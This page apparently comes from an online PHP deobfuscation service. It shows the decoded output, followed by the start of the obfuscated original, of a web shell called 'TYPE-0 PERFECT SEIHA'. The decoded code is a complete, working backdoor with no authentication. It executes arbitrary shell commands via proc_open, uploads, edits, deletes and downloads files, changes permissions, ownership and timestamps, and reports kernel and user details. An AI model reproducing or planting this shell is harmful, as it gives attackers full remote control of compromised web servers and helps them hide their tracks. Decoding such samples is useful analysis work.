Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ${"GLOBALS"}["mcmkaqzu"]="currentPath";${"GLOBALS"}["rwjgvsdwz"]="part";${"GLOBALS"}..
Decoded Output download
<?php ${"GLOBALS"}["mcmkaqzu"]="currentPath";${"GLOBALS"}["rwjgvsdwz"]="part";${"GLOBALS"}["pnlrrwvzdb"]="pathParts";${"GLOBALS"}["cviwkgsmhdb"]="commandOutput";${"GLOBALS"}["ozmtqifjl"]="pipes";${"GLOBALS"}["wocnmteeuwkm"]="process";${"GLOBALS"}["zekaisyeri"]="command";${"GLOBALS"}["hhlseycsu"]="files";${"GLOBALS"}["tpmkktffpl"]="showHidden";${"GLOBALS"}["rphaqhgd"]="content";${"GLOBALS"}["eyxsdd"]="fileToEdit";${"GLOBALS"}["yetjserv"]="newFile";${"GLOBALS"}["jrshvstxvsj"]="uploadSuccess";${"GLOBALS"}["scuzcaq"]="uploadFail";${"GLOBALS"}["xrgqkbyud"]="tmpName";${"GLOBALS"}["yfgjdldrq"]="name";$bbffbiedjekb="currentPath";${"GLOBALS"}["fbsigfsobr"]="destination";${"GLOBALS"}["jtdwwjr"]="key";${"GLOBALS"}["hcuyryrloo"]="uploadedFiles";$rnqdnq="commandOutput";${"GLOBALS"}["ifcuawxidh"]="iterator";${"GLOBALS"}["rxkppka"]="relativePath";${"GLOBALS"}["hvtevys"]="zipName";${"GLOBALS"}["sqxpfqfhzqdx"]="newOwner";${"GLOBALS"}["esudxcfed"]="newName";${"GLOBALS"}["tbxpidwvb"]="oldName";${"GLOBALS"}["mtwufb"]="message";$bsjsemqex="currentDir";${"GLOBALS"}["hbwvkaljjg"]="item";${"GLOBALS"}["kprvndgyvxt"]="action";${"GLOBALS"}["lrorpxr"]="items";${"GLOBALS"}["ufwbwdx"]="permissionClass";${"GLOBALS"}["vqzbuqvbup"]="lastModified";${"GLOBALS"}["qhqvggwquj"]="size";${"GLOBALS"}["kdtpoiplniio"]="groupId";${"GLOBALS"}["ltgjpdqjob"]="ownerId";${"GLOBALS"}["rjsrxmnuelfi"]="fileInfo";${"GLOBALS"}["bfxvopizfd"]="grgid";${"GLOBALS"}["wewwauumxvau"]="permissions";${"GLOBALS"}["jhhsco"]="filePath";${"GLOBALS"}["ndvndhdx"]="file";$bvuzegt="currentDir";${"GLOBALS"}["forkmbkumw"]="dh";${"GLOBALS"}["ojokedbz"]="dir";${"GLOBALS"}["kxtvbmi"]="kernel";${"GLOBALS"}["ylwbhex"]="currentDir";${"GLOBALS"}["olnhqbnjzd"]="currentDir";error_reporting(E_ALL);${"GLOBALS"}["fiyowbznld"]="currentUser";ini_set("display_errors",1);function getCurrentDir(){$zfbmfdf="currentDir";$ljjrilugu="currentDir";${$zfbmfdf}=isset($_GET["dir"])?$_GET["dir"]:__DIR__;if(isset($_GET["dir"])&&is_dir($_GET["dir"])){${${"GLOBALS"}["ylwbhex"]}=realpath($_GET["dir"]);}return${$ljjrilugu};}${${"GLOBALS"}["kxtvbmi"]}=php_uname("a");${${"GLOBALS"}["fiyowbznld"]}=get_current_user();${${"GLOBALS"}["olnhqbnjzd"]}=getCurrentDir();chdir(${${"GLOBALS"}["ylwbhex"]});function listFiles($dir,$showHidden=false){${"GLOBALS"}["ghglxso"]="items";${${"GLOBALS"}["ghglxso"]}=array();if(is_dir(${${"GLOBALS"}["ojokedbz"]})){if(${${"GLOBALS"}["forkmbkumw"]}=opendir(${${"GLOBALS"}["ojokedbz"]})){${"GLOBALS"}["phxjcvqlddfb"]="dh";while((${${"GLOBALS"}["ndvndhdx"]}=readdir(${${"GLOBALS"}["phxjcvqlddfb"]}))!==false){${"GLOBALS"}["dscyxugwqx"]="file";${"GLOBALS"}["dtlloiny"]="showHidden";if(${${"GLOBALS"}["ndvndhdx"]}!="."&&${${"GLOBALS"}["dscyxugwqx"]}!=".."&&(${${"GLOBALS"}["dtlloiny"]}||${${"GLOBALS"}["ndvndhdx"]}[0]!==".")){$hziwevxsn="file";$wnwijtcsppx="fileInfo";$htxrzfq="filePath";${"GLOBALS"}["rajzldjo"]="filePath";$vlnpjpplbhdj="filePath";$dvfpkfjxkqp="fileInfo";${${"GLOBALS"}["jhhsco"]}=${${"GLOBALS"}["ojokedbz"]}."/".${$hziwevxsn};$jvwwcobbtvj="items";$wizxvtnof="userGroup";$svxlbuem="lastModified";${$wnwijtcsppx}=stat(${${"GLOBALS"}["jhhsco"]});${${"GLOBALS"}["wewwauumxvau"]}=substr(sprintf("%o",fileperms(${$htxrzfq})),-4);$xqxztbtuhsg="file";${"GLOBALS"}["xmtklstw"]="size";${$svxlbuem}=date("Y-m-d H:i:s",${$dvfpkfjxkqp}["mtime"]);$mzbxnaznfsf="filePath";if(function_exists("posix_getpwuid")&&function_exists("posix_getgrgid")){${"GLOBALS"}["lyfvnkcxgqqj"]="pwuid";$tmxntvty="fileInfo";${"GLOBALS"}["wrlblqo"]="pwuid";${"GLOBALS"}["sfuapy"]="userGroup";${${"GLOBALS"}["lyfvnkcxgqqj"]}=@posix_getpwuid(${$tmxntvty}["uid"]);${"GLOBALS"}["rhnmdpptey"]="grgid";${${"GLOBALS"}["bfxvopizfd"]}=@posix_getgrgid(${${"GLOBALS"}["rjsrxmnuelfi"]}["gid"]);${${"GLOBALS"}["sfuapy"]}=(${${"GLOBALS"}["wrlblqo"]}["name"]??"Unknown")."/".(${${"GLOBALS"}["rhnmdpptey"]}["name"]??"Unknown");}else{$vbuhhmyrc="ownerId";${"GLOBALS"}["jxdjlts"]="userGroup";${"GLOBALS"}["pwktffkcjhp"]="groupId";${"GLOBALS"}["gadujw"]="groupId";${${"GLOBALS"}["ltgjpdqjob"]}=fileowner(${${"GLOBALS"}["jhhsco"]});${${"GLOBALS"}["gadujw"]}=filegroup(${${"GLOBALS"}["jhhsco"]});${${"GLOBALS"}["jxdjlts"]}=(${${"GLOBALS"}["ltgjpdqjob"]}!==false?${$vbuhhmyrc}:"Unknown")."/".(${${"GLOBALS"}["pwktffkcjhp"]}!==false?${${"GLOBALS"}["kdtpoiplniio"]}:"Unknown");}$gndnwcignoy="permissions";${"GLOBALS"}["nkfnhspzz"]="permissionClass";${${"GLOBALS"}["qhqvggwquj"]}=is_dir(${${"GLOBALS"}["rajzldjo"]})?"-":filesize(${$mzbxnaznfsf});${${"GLOBALS"}["nkfnhspzz"]}=is_writable(${${"GLOBALS"}["jhhsco"]})?"permission-green":"permission-red";${$jvwwcobbtvj}[]=array("name"=>${$xqxztbtuhsg},"size"=>${${"GLOBALS"}["xmtklstw"]},"permissions"=>${$gndnwcignoy},"lastModified"=>${${"GLOBALS"}["vqzbuqvbup"]},"userGroup"=>${$wizxvtnof},"path"=>${${"GLOBALS"}["jhhsco"]},"isDir"=>is_dir(${$vlnpjpplbhdj}),"permissionClass"=>${${"GLOBALS"}["ufwbwdx"]});}}closedir(${${"GLOBALS"}["forkmbkumw"]});}}return${${"GLOBALS"}["lrorpxr"]};}if($_SERVER["REQUEST_METHOD"]==="POST"){if(isset($_POST["action"])&&isset($_POST["items"])){$klmtdvpmmsxd="zipName";$sxgslyqcohf="items";${"GLOBALS"}["rtsxax"]="zip";${${"GLOBALS"}["kprvndgyvxt"]}=$_POST["action"];${"GLOBALS"}["gduiihyjq"]="items";$qsdfiewlkexh="currentDir";$iligkuwafcsh="action";${"GLOBALS"}["wjidodgq"]="items";$efxrkrgqml="items";$esghvuox="message";${${"GLOBALS"}["lrorpxr"]}=$_POST["items"];switch(${$iligkuwafcsh}){case"delete":foreach(${${"GLOBALS"}["wjidodgq"]} as${${"GLOBALS"}["hbwvkaljjg"]}){${"GLOBALS"}["thidyeit"]="item";${"GLOBALS"}["kfrqishrgw"]="item";if(is_file(${${"GLOBALS"}["kfrqishrgw"]})){$ojkpwjsglnr="item";unlink(${$ojkpwjsglnr});}elseif(is_dir(${${"GLOBALS"}["thidyeit"]})){$jjkxjbqdfx="item";rmdir(${$jjkxjbqdfx});}}${$esghvuox}="Item yang dipilih berhasil dicrot.";break;case"chmod":if(isset($_POST["permissions"])){${${"GLOBALS"}["wewwauumxvau"]}=$_POST["permissions"];if(preg_match("/^[0-7]{3,4}\$/",${${"GLOBALS"}["wewwauumxvau"]})){${"GLOBALS"}["inncqfly"]="item";$gglzgacvp="items";foreach(${$gglzgacvp} as${${"GLOBALS"}["inncqfly"]}){${"GLOBALS"}["ijlnfoumfd"]="item";if(file_exists(${${"GLOBALS"}["ijlnfoumfd"]})){chmod(${${"GLOBALS"}["hbwvkaljjg"]},octdec(${${"GLOBALS"}["wewwauumxvau"]}));}}${${"GLOBALS"}["mtwufb"]}="Permissions diubah menjadi $permissions untuk item yang dicrot.";}else{${${"GLOBALS"}["mtwufb"]}="Format permission tidak crot.";}}break;case"rename":if(isset($_POST["new_name"])&&count(${$sxgslyqcohf})===1){$ftfckdlvmx="oldName";${"GLOBALS"}["skmbrgptfh"]="oldName";${${"GLOBALS"}["tbxpidwvb"]}=${${"GLOBALS"}["lrorpxr"]}[0];${${"GLOBALS"}["esudxcfed"]}=dirname(${$ftfckdlvmx})."/".$_POST["new_name"];if(rename(${${"GLOBALS"}["skmbrgptfh"]},${${"GLOBALS"}["esudxcfed"]})){$sqxkuvjquwuq="message";${$sqxkuvjquwuq}="Berhasil ngecrot nama.";}else{${${"GLOBALS"}["mtwufb"]}="Gagal ngecrot nama.";}}break;case"chown":if(isset($_POST["new_owner"])&&function_exists("chown")){${"GLOBALS"}["vdgkxdydv"]="items";${${"GLOBALS"}["sqxpfqfhzqdx"]}=$_POST["new_owner"];foreach(${${"GLOBALS"}["vdgkxdydv"]} as${${"GLOBALS"}["hbwvkaljjg"]}){${"GLOBALS"}["wdoiruiatpr"]="item";if(chown(${${"GLOBALS"}["wdoiruiatpr"]},${${"GLOBALS"}["sqxpfqfhzqdx"]})){${${"GLOBALS"}["mtwufb"]}="Kepemilikan berhasil dicrot.";}else{${${"GLOBALS"}["mtwufb"]}="Gagal ngecrot kepemilikan.";}}}break;case"touch":if(isset($_POST["new_time"])){$gnruzwmpkq="newTime";$unugdkzdhf="newTime";${$gnruzwmpkq}=strtotime($_POST["new_time"]);if(${$unugdkzdhf}!==false){$sqpgqlzoh="items";foreach(${$sqpgqlzoh} as${${"GLOBALS"}["hbwvkaljjg"]}){${"GLOBALS"}["vftfkmfwqko"]="newTime";if(touch(${${"GLOBALS"}["hbwvkaljjg"]},${${"GLOBALS"}["vftfkmfwqko"]})){${${"GLOBALS"}["mtwufb"]}="Timestamp berhasil dicrot.";}else{${${"GLOBALS"}["mtwufb"]}="Gagal ngecrot timestamp.";}}}else{${${"GLOBALS"}["mtwufb"]}="Format tanggal/waktu tidak crot.";}}break;case"zip":${${"GLOBALS"}["hvtevys"]}="archive_".time().".zip";${${"GLOBALS"}["rtsxax"]}=new ZipArchive();if($zip->open(${$qsdfiewlkexh}."/".${$klmtdvpmmsxd},ZipArchive::CREATE)===TRUE){$nivynrlkspmf="items";foreach(${$nivynrlkspmf} as${${"GLOBALS"}["hbwvkaljjg"]}){${"GLOBALS"}["hauuitjcu"]="item";${"GLOBALS"}["tvyisltuo"]="currentDir";${${"GLOBALS"}["rxkppka"]}=str_replace(${${"GLOBALS"}["tvyisltuo"]}."/","",${${"GLOBALS"}["hbwvkaljjg"]});if(is_file(${${"GLOBALS"}["hbwvkaljjg"]})){$hcfyegbmin="relativePath";$zip->addFile(${${"GLOBALS"}["hbwvkaljjg"]},${$hcfyegbmin});}elseif(is_dir(${${"GLOBALS"}["hauuitjcu"]})){${"GLOBALS"}["xgmpnnks"]="relativePath";$jnyoaymlvh="iterator";$zip->addEmptyDir(${${"GLOBALS"}["xgmpnnks"]});${$jnyoaymlvh}=new RecursiveIteratorIterator(new RecursiveDirectoryIterator(${${"GLOBALS"}["hbwvkaljjg"]}));foreach(${${"GLOBALS"}["ifcuawxidh"]} as${${"GLOBALS"}["ndvndhdx"]}){if(!$file->isDir()){${${"GLOBALS"}["jhhsco"]}=$file->getRealPath();${${"GLOBALS"}["rxkppka"]}=substr(${${"GLOBALS"}["jhhsco"]},strlen(${${"GLOBALS"}["ylwbhex"]})+1);$zip->addFile(${${"GLOBALS"}["jhhsco"]},${${"GLOBALS"}["rxkppka"]});}}}}$zip->close();$widindatugo="message";${$widindatugo}="File berhasil di-crot.";}else{${${"GLOBALS"}["mtwufb"]}="Gagal membuat file crot.";}break;case"unzip":foreach(${${"GLOBALS"}["gduiihyjq"]} as${${"GLOBALS"}["hbwvkaljjg"]}){if(pathinfo(${${"GLOBALS"}["hbwvkaljjg"]},PATHINFO_EXTENSION)==="zip"){${"GLOBALS"}["myjoalbaq"]="zip";${${"GLOBALS"}["myjoalbaq"]}=new ZipArchive;if($zip->open(${${"GLOBALS"}["hbwvkaljjg"]})===TRUE){${"GLOBALS"}["jadfunodpwe"]="message";$zip->extractTo(${${"GLOBALS"}["ylwbhex"]});$zip->close();${${"GLOBALS"}["jadfunodpwe"]}="File berhasil di-crot.";}else{${"GLOBALS"}["vijdjwc"]="message";${${"GLOBALS"}["vijdjwc"]}="Gagal meng-crot file.";}}}break;case"download":if(count(${$efxrkrgqml})===1){$zhfxtyjon="file";${"GLOBALS"}["mjitxkhlr"]="file";${$zhfxtyjon}=${${"GLOBALS"}["lrorpxr"]}[0];if(is_file(${${"GLOBALS"}["mjitxkhlr"]})){${"GLOBALS"}["fqtubmnlrmyk"]="file";header("Content-Description: File Transfer");header("Content-Type: application/octet-stream");header("Content-Disposition: attachment; filename=\"".basename(${${"GLOBALS"}["fqtubmnlrmyk"]})."\"");header("Expires: 0");header("Cache-Control: must-revalidate");${"GLOBALS"}["rrtnmhttf"]="file";header("Pragma: public");header("Content-Length: ".filesize(${${"GLOBALS"}["rrtnmhttf"]}));readfile(${${"GLOBALS"}["ndvndhdx"]});exit;}else{${${"GLOBALS"}["mtwufb"]}="Tidak dapat ngecrot direktori.";}}else{${${"GLOBALS"}["mtwufb"]}="Pilih satu file untuk dicrot.";}break;}}if(isset($_FILES["files"])){$azbblyfjijm="uploadSuccess";$obfjcbfa="uploadFail";$xoohyrmsr="uploadFail";${${"GLOBALS"}["hcuyryrloo"]}=$_FILES["files"];${$azbblyfjijm}=0;$vtbyqpohgf="name";${$obfjcbfa}=0;foreach(${${"GLOBALS"}["hcuyryrloo"]}["name"]as${${"GLOBALS"}["jtdwwjr"]}=>${$vtbyqpohgf}){${"GLOBALS"}["ywahzpi"]="key";$dfrjvi="uploadedFiles";if(${$dfrjvi}["error"][${${"GLOBALS"}["ywahzpi"]}]===UPLOAD_ERR_OK){$ldgubjbham="currentDir";${"GLOBALS"}["hkxufiaekk"]="tmpName";${"GLOBALS"}["uskifznp"]="key";${${"GLOBALS"}["hkxufiaekk"]}=${${"GLOBALS"}["hcuyryrloo"]}["tmp_name"][${${"GLOBALS"}["uskifznp"]}];${${"GLOBALS"}["fbsigfsobr"]}=${$ldgubjbham}."/".${${"GLOBALS"}["yfgjdldrq"]};if(move_uploaded_file(${${"GLOBALS"}["xrgqkbyud"]},${${"GLOBALS"}["fbsigfsobr"]})){$imnnxrquez="uploadSuccess";${$imnnxrquez}++;}else{$uooulcpqyj="uploadFail";${$uooulcpqyj}++;}}else{${${"GLOBALS"}["scuzcaq"]}++;}}if(${${"GLOBALS"}["jrshvstxvsj"]}>0){${${"GLOBALS"}["mtwufb"]}="$uploadSuccess file berhasil dicrot.";}if(${$xoohyrmsr}>0){${${"GLOBALS"}["mtwufb"]}="$uploadFail file gagal dicrot.";}}if(isset($_POST["new_file"])&&!empty($_POST["new_file"])){${"GLOBALS"}["fyixfbwote"]="newFile";${${"GLOBALS"}["fyixfbwote"]}=${${"GLOBALS"}["ylwbhex"]}."/".$_POST["new_file"];if(!file_exists(${${"GLOBALS"}["yetjserv"]})){if(touch(${${"GLOBALS"}["yetjserv"]})){${${"GLOBALS"}["mtwufb"]}="File baru berhasil dicrot.";}else{${"GLOBALS"}["oltwftpxeqz"]="message";${${"GLOBALS"}["oltwftpxeqz"]}="Gagal ngecrot file baru.";}}else{$tfvsjokkuye="message";${$tfvsjokkuye}="File dah ada.";}}if(isset($_POST["new_dir"])&&!empty($_POST["new_dir"])){$dysvbn="newDir";${"GLOBALS"}["lwfqpsyr"]="currentDir";${"GLOBALS"}["yapdlnvmcgt"]="newDir";${$dysvbn}=${${"GLOBALS"}["lwfqpsyr"]}."/".$_POST["new_dir"];if(!file_exists(${${"GLOBALS"}["yapdlnvmcgt"]})){${"GLOBALS"}["iimvrnpp"]="newDir";if(mkdir(${${"GLOBALS"}["iimvrnpp"]})){${${"GLOBALS"}["mtwufb"]}="Direktori baru berhasil dicrot.";}else{${${"GLOBALS"}["mtwufb"]}="Gagal ngecrot direktori baru.";}}else{$cykpklgp="message";${$cykpklgp}="Direktori dah ada.";}}}if(isset($_GET["edit"])){${"GLOBALS"}["toslcdkij"]="fileToEdit";${${"GLOBALS"}["eyxsdd"]}=$_GET["edit"];if(is_file(${${"GLOBALS"}["toslcdkij"]})){$bibkgknvs="content";if($_SERVER["REQUEST_METHOD"]==="POST"&&isset($_POST["save"])){${${"GLOBALS"}["rphaqhgd"]}=$_POST["content"];file_put_contents(${${"GLOBALS"}["eyxsdd"]},${${"GLOBALS"}["rphaqhgd"]});${${"GLOBALS"}["mtwufb"]}="File berhasil dicrot.";}${$bibkgknvs}=file_get_contents(${${"GLOBALS"}["eyxsdd"]});}}${${"GLOBALS"}["tpmkktffpl"]}=isset($_GET["show_hidden"])?$_GET["show_hidden"]==="1":false;${${"GLOBALS"}["hhlseycsu"]}=listFiles(${$bsjsemqex},${${"GLOBALS"}["tpmkktffpl"]});${$rnqdnq}="";if($_SERVER["REQUEST_METHOD"]==="POST"&&isset($_POST["command"])){${${"GLOBALS"}["zekaisyeri"]}=$_POST["command"];${"GLOBALS"}["jkedjknhx"]="descriptorspec";$dpfkbfcke="descriptorspec";$rqjobyrpu="pipes";$eweaqg="command";${$dpfkbfcke}=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"));${${"GLOBALS"}["wocnmteeuwkm"]}=proc_open(${$eweaqg},${${"GLOBALS"}["jkedjknhx"]},${$rqjobyrpu});if(is_resource(${${"GLOBALS"}["wocnmteeuwkm"]})){$zolwztg="commandOutput";$uurkzpgity="process";${$zolwztg}=stream_get_contents(${${"GLOBALS"}["ozmtqifjl"]}[1]);fclose(${${"GLOBALS"}["ozmtqifjl"]}[1]);proc_close(${$uurkzpgity});}}echo "
<!DOCTYPE html>
<html lang="en\">
<head>
<meta charset="UTF-8\">
<meta name="viewport\" content=\"width=device-width, initial-scale=1.0\">
<title>TYPE-0 PERFECT SEIHA</title>
<style>
body {
font-family: Arial, sans-serif;
line-height: 1.6;
margin: 0;
padding: 20px;
background-color: #e0f7fa; /* Latar belakang aqua muda */
color: #00363a; /* Warna teks gelap untuk kontras */
}
.container {
max-width: 1200px;
margin: 0 auto;
background-color: #ffffff; /* Latar belakang putih */
padding: 20px;
border-radius: 8px;
box-shadow: 0 0 15px rgba(0,0,0,0.1);
}
h1 {
color: #006064; /* Warna aqua gelap untuk judul */
text-align: center;
margin-bottom: 20px;
}
table {
width: 100%;
border-collapse: collapse;
margin-top: 20px;
background-color: #ffffff;
}
th, td {
padding: 12px;
border: 1px solid #b2ebf2; /* Border aqua muda */
text-align: left;
}
th {
background-color: #4dd0e1; /* Header tabel aqua */
color: white;
font-weight: bold;
}
tr:nth-child(even) {
background-color: #e0f7fa; /* Baris genap aqua sangat muda */
}
tr:hover {
background-color: #b2ebf2; /* Hover effect aqua muda */
}
.hidden-file { color: #78909c; }
.permission-green { color: #00897b; }
.permission-red { color: #d32f2f; }
.breadcrumb {
list-style: none;
padding: 10px;
background-color: #4dd0e1; /* Breadcrumb aqua */
border-radius: 5px;
margin-bottom: 20px;
}
.breadcrumb li {
display: inline;
font-size: 16px;
}
.breadcrumb li+li:before {
padding: 8px;
color: white;
content: "/a0";
}
.breadcrumb li a {
color: white;
text-decoration: none;
}
.breadcrumb li a:hover {
text-decoration: underline;
}
form {
margin-bottom: 20px;
background-color: #ffffff;
padding: 15px;
border-radius: 5px;
box-shadow: 0 2px 5px rgba(0,0,0,0.1);
}
input[type=\"text\"], input[type=\"file\"], select {
padding: 8px;
margin-right: 10px;
border: 1px solid #b2ebf2;
border-radius: 4px;
}
button {
padding: 8px 15px;
background-color: #00acc1; /* Tombol aqua */
color: white;
border: none;
border-radius: 4px;
cursor: pointer;
transition: background-color 0.3s;
}
button:hover {
background-color: #007c91; /* Tombol aqua gelap saat hover */
}
#commandOutput {
background-color: #f1f8e9;
border: 1px solid #c5e1a5;
padding: 10px;
margin-top: 10px;
white-space: pre-wrap;
border-radius: 4px;
}
/* Styling untuk checkbox */
input[type=\"checkbox"] {
margin-right: 5px;
}
/* Styling untuk action select */
#action-select {
padding: 8px;
border: 1px solid #b2ebf2;
border-radius: 4px;
background-color: white;
}
#action-inputs {
margin-top: 10px;
}
</style>
</head>
<body>
<div class=\"container\">
<h1>TYPE-0 PERFECT SEIHA</h1>
";echo"Server Info: <span style='color:cyan;'>$kernel</span><br>";echo"User: <span style='color:cyan;'>$currentUser</span><br>";echo " ";if(isset(${${"GLOBALS"}["mtwufb"]})){echo " <p style=\"background-color: #b2dfdb; padding: 10px; border-radius: 4px;"><strong>";echo htmlspecialchars(${${"GLOBALS"}["mtwufb"]});echo "</strong></p>
";}echo "
<form method="POST" enctype="multipart/form-data">
<input type=\"file\" name="files[]" multiple>
<button type="submit">Crot</button><br>
<input type=\"text\" name=\"new_file\" placeholder="New File\">
<button type="submit">Crot File</button><br>
<input type=\"text" name=\"new_dir" placeholder=\"New Dir\">
<button type=\"submit">Crot Dir</button>
</form>
<form method="POST\">
<input type=\"text\" name="command\" placeholder=\"echo Type-0">
<button type="submit\">Crot Command</button>
</form>
";if(!empty(${${"GLOBALS"}["cviwkgsmhdb"]})){echo " <div id=\"commandOutput">";$hplgpshr="commandOutput";echo htmlspecialchars(${$hplgpshr});echo "</div>
";}echo "
";${${"GLOBALS"}["pnlrrwvzdb"]}=explode("/",${$bvuzegt});echo"<ul class=\"breadcrumb">";echo"<li><a href="?dir=".urlencode(__DIR__)."\">[HOME]</a></li>";${$bbffbiedjekb}="";foreach(${${"GLOBALS"}["pnlrrwvzdb"]} as${${"GLOBALS"}["rwjgvsdwz"]}){$ddqwevaya="part";if(${$ddqwevaya}!==""){${"GLOBALS"}["zerbzjfb"]="part";$xvtrvmc="part";${"GLOBALS"}["sivvygukqzp"]="currentPath";${${"GLOBALS"}["sivvygukqzp"]}.="/".${${"GLOBALS"}["zerbzjfb"]};echo"<li><a href=\"?dir=".urlencode(${${"GLOBALS"}["mcmkaqzu"]})."\">".htmlspecialchars(${$xvtrvmc})."</a></li>";}}echo"</ul>";echo " <form method=\"GET\">
<input type=\"hidden\" name=\"dir\" value=\"";echo htmlspecialchars(${${"GLOBALS"}["ylwbhex"]});echo "">
<label>
<input type="checkbox" name="show_hidden\" value=\"1" ";echo${${"GLOBALS"}["tpmkktffpl"]}?"checked":"";echo " onchange="this.form.submit()">
Show Hidden Files
</label>
</form>
";if(isset(${${"GLOBALS"}["eyxsdd"]})){echo"<h3>Edit File: ".htmlspecialchars(${${"GLOBALS"}["eyxsdd"]})."</h3>";${"GLOBALS"}["pwyinfm"]="fileToEdit";echo"<form method="POST\">";${"GLOBALS"}["bvncmnn"]="content";echo"<textarea name=\"content" rows=\"20" cols=\"100\">".htmlspecialchars(${${"GLOBALS"}["bvncmnn"]})."</textarea><br>";echo"<input type="hidden" name=\"filename" value="".htmlspecialchars(${${"GLOBALS"}["pwyinfm"]})."">";echo"<button type="submit" name=\"save\">Crotin</button>";echo"</form>";}echo "
<form method=\"POST">
<table>
<thead>
<tr>
<th><input type=\"checkbox\" id=\"select-all\"></th>
<th>Name</th>
<th>Size</th>
<th>Permissions</th>
<th>Modified</th>
<th>User/Group</th>
</tr>
</thead>
<tbody>
";foreach(${${"GLOBALS"}["hhlseycsu"]} as${${"GLOBALS"}["ndvndhdx"]}){echo " <tr class="";echo${${"GLOBALS"}["ndvndhdx"]}["isDir"]?"directory":"file";${"GLOBALS"}["djfhspu"]="file";echo " ";echo${${"GLOBALS"}["ndvndhdx"]}["name"][0]==="."?"hidden-file":"";echo "\">
<td><input type=\"checkbox\" name="items[]" value=\"";echo htmlspecialchars(${${"GLOBALS"}["ndvndhdx"]}["path"]);echo ""></td>
<td>
";if(${${"GLOBALS"}["djfhspu"]}["isDir"]){echo " <a href=\"?dir=";${"GLOBALS"}["crmmqyn"]="showHidden";echo urlencode(${${"GLOBALS"}["ndvndhdx"]}["path"]);echo "&show_hidden=";echo${${"GLOBALS"}["crmmqyn"]}?"1":"0";${"GLOBALS"}["jywbagg"]="file";echo "">";echo htmlspecialchars(${${"GLOBALS"}["jywbagg"]}["name"]);echo "</a>
";}else{${"GLOBALS"}["qvhkhist"]="currentDir";echo " <a href="?dir=";${"GLOBALS"}["xuhnhvuy"]="showHidden";echo urlencode(${${"GLOBALS"}["qvhkhist"]});echo "&edit=";echo urlencode(${${"GLOBALS"}["ndvndhdx"]}["path"]);echo "&show_hidden=";${"GLOBALS"}["ucpcrhgbep"]="file";echo${${"GLOBALS"}["xuhnhvuy"]}?"1":"0";echo "">";echo htmlspecialchars(${${"GLOBALS"}["ucpcrhgbep"]}["name"]);echo "</a>
";}echo "
</td>
<td>";echo${${"GLOBALS"}["ndvndhdx"]}["size"];${"GLOBALS"}["qnrusim"]="file";echo "</td>
<td class="";echo${${"GLOBALS"}["ndvndhdx"]}["permissionClass"];echo "">";echo${${"GLOBALS"}["ndvndhdx"]}["permissions"];echo "</td>
<td>";echo${${"GLOBALS"}["ndvndhdx"]}["lastModified"];echo "</td>
<td>";echo${${"GLOBALS"}["qnrusim"]}["userGroup"];echo "</td>
</tr>
";}echo "
</tbody>
</table>
<div>
<select name=\"action\" id=\"action-select\">
<option value=\"\">NGANU</option>
<option value=\"rename\">Rename</option>
<option value=\"delete">Hapus</option>
<option value=\"chmod">Chmod</option>
<option value="chown">Chown</option>
<option value="touch">Touch</option>
<option value=\"zip">Zip</option>
<option value=\"unzip\">Unzip</option>
<option value=\"download\">Download</option>
</select>
<div id=\"action-inputs" style="display:none;\">
<input type="text" name="new_name\" placeholder=\"Rename\">
<input type="text\" name=\"permissions\" placeholder=\"777\">
<input type=\"text" name=\"new_owner\" placeholder="type0:type0\">
<input type="datetime-local" name="new_time" placeholder=\"Timestamp\">
</div>
<button type="submit">Crotin</button>
</div>
</form>
</div>
<script>
// Fungsi Select All checkbox
document.getElementById('select-all').addEventListener('change', function() {
var isChecked = this.checked;
var checkboxes = document.querySelectorAll('input[name=\"items[]"]');
checkboxes.forEach(function(checkbox) {
checkbox.checked = isChecked;
});
});
// Tampilkan/sembunyikan input aksi berdasarkan aksi yang dipilih
document.getElementById('action-select').addEventListener('change', function() {
var actionInputs = document.getElementById('action-inputs');
actionInputs.style.display = this.value ? 'block' : 'none';
});
</script>
</body>
</html>
";
?>
Did this file decode correctly?
Original Code
<?php ${"GLOBALS"}["mcmkaqzu"]="currentPath";${"GLOBALS"}["rwjgvsdwz"]="part";${"GLOBALS"}["pnlrrwvzdb"]="pathParts";${"GLOBALS"}["cviwkgsmhdb"]="commandOutput";${"GLOBALS"}["ozmtqifjl"]="pipes";${"GLOBALS"}["wocnmteeuwkm"]="process";${"GLOBALS"}["zekaisyeri"]="command";${"GLOBALS"}["hhlseycsu"]="files";${"GLOBALS"}["tpmkktffpl"]="showHidden";${"GLOBALS"}["rphaqhgd"]="content";${"GLOBALS"}["eyxsdd"]="fileToEdit";${"GLOBALS"}["yetjserv"]="newFile";${"GLOBALS"}["jrshvstxvsj"]="uploadSuccess";${"GLOBALS"}["scuzcaq"]="uploadFail";${"GLOBALS"}["xrgqkbyud"]="tmpName";${"GLOBALS"}["yfgjdldrq"]="name";$bbffbiedjekb="currentPath";${"GLOBALS"}["fbsigfsobr"]="destination";${"GLOBALS"}["jtdwwjr"]="key";${"GLOBALS"}["hcuyryrloo"]="uploadedFiles";$rnqdnq="commandOutput";${"GLOBALS"}["ifcuawxidh"]="iterator";${"GLOBALS"}["rxkppka"]="relativePath";${"GLOBALS"}["hvtevys"]="zipName";${"GLOBALS"}["sqxpfqfhzqdx"]="newOwner";${"GLOBALS"}["esudxcfed"]="newName";${"GLOBALS"}["tbxpidwvb"]="oldName";${"GLOBALS"}["mtwufb"]="message";$bsjsemqex="currentDir";${"GLOBALS"}["hbwvkaljjg"]="item";${"GLOBALS"}["kprvndgyvxt"]="action";${"GLOBALS"}["lrorpxr"]="items";${"GLOBALS"}["ufwbwdx"]="permissionClass";${"GLOBALS"}["vqzbuqvbup"]="lastModified";${"GLOBALS"}["qhqvggwquj"]="size";${"GLOBALS"}["kdtpoiplniio"]="groupId";${"GLOBALS"}["ltgjpdqjob"]="ownerId";${"GLOBALS"}["rjsrxmnuelfi"]="fileInfo";${"GLOBALS"}["bfxvopizfd"]="grgid";${"GLOBALS"}["wewwauumxvau"]="permissions";${"GLOBALS"}["jhhsco"]="filePath";${"GLOBALS"}["ndvndhdx"]="file";$bvuzegt="currentDir";${"GLOBALS"}["forkmbkumw"]="dh";${"GLOBALS"}["ojokedbz"]="dir";${"GLOBALS"}["kxtvbmi"]="kernel";${"GLOBALS"}["ylwbhex"]="currentDir";${"GLOBALS"}["olnhqbnjzd"]="currentDir";error_reporting(E_ALL);${"GLOBALS"}["fiyowbznld"]="currentUser";ini_set("display_errors",1);function 